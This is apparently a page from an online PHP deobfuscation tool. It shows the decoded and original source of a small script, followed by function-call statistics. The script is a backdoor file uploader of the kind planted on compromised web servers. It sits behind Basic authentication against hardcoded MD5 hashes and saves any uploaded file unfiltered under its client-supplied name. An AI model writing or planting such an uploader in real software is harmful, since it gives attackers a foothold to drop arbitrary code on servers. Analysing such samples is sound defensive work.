Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? ob_start(); ?> <?php $auth = 1; $name='cd51c3f884dde97519a071942ca1f1ab'; $..

Decoded Output download

<? 
ob_start(); 
?> 
 
<?php 
 
 
$auth = 1; 
$name='cd51c3f884dde97519a071942ca1f1ab'; 
$pass='bb294220d8570f6e2f22214aa3737877'; 
if($auth == 1) { 
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) 
   { 
   header('WWW-Authenticate: Basic realm="zero"'); 
   header('HTTP/1.0 401 Unauthorized'); 
   exit("<b></b>"); 
   } 
} 
?> 
 
<?php $cwd = getcwd(); 
Echo '<center> 
 
<form method="post" target="_self" enctype="multipart/form-data"> 
 
<input type="file" size="20" name="uploads" /> 
<input type="submit" value="upload" /> 
 
</form> 
 
</center></td></tr> 
</table><br>'; 
if (!empty ($_FILES['uploads'])) 
{ 
    move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']); 
    Echo "<script>alert('upload Done'); 
	 
	 </script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type']; 
} 
 
 
exit; 
?> 
 
 
 

Did this file decode correctly?

Original Code

<?
ob_start();
?>

<?php


$auth = 1;
$name='cd51c3f884dde97519a071942ca1f1ab';
$pass='bb294220d8570f6e2f22214aa3737877';
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
   {
   header('WWW-Authenticate: Basic realm="zero"');
   header('HTTP/1.0 401 Unauthorized');
   exit("<b></b>");
   }
}
?>

<?php $cwd = getcwd();
Echo '<center>

<form method="post" target="_self" enctype="multipart/form-data">

<input type="file" size="20" name="uploads" />
<input type="submit" value="upload" />

</form>

</center></td></tr>
</table><br>';
if (!empty ($_FILES['uploads']))
{
    move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "<script>alert('upload Done');
	
	 </script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}


exit;
?>



Function Calls

md5 2
header 1
ob_start 1

Variables

$auth 1
$name cd51c3f884dde97519a071942ca1f1ab
$pass bb294220d8570f6e2f22214aa3737877

Stats

MD5 b7f53f1de63e37d35575d4a3084752bb
Eval Count 0
Decode Time 109 ms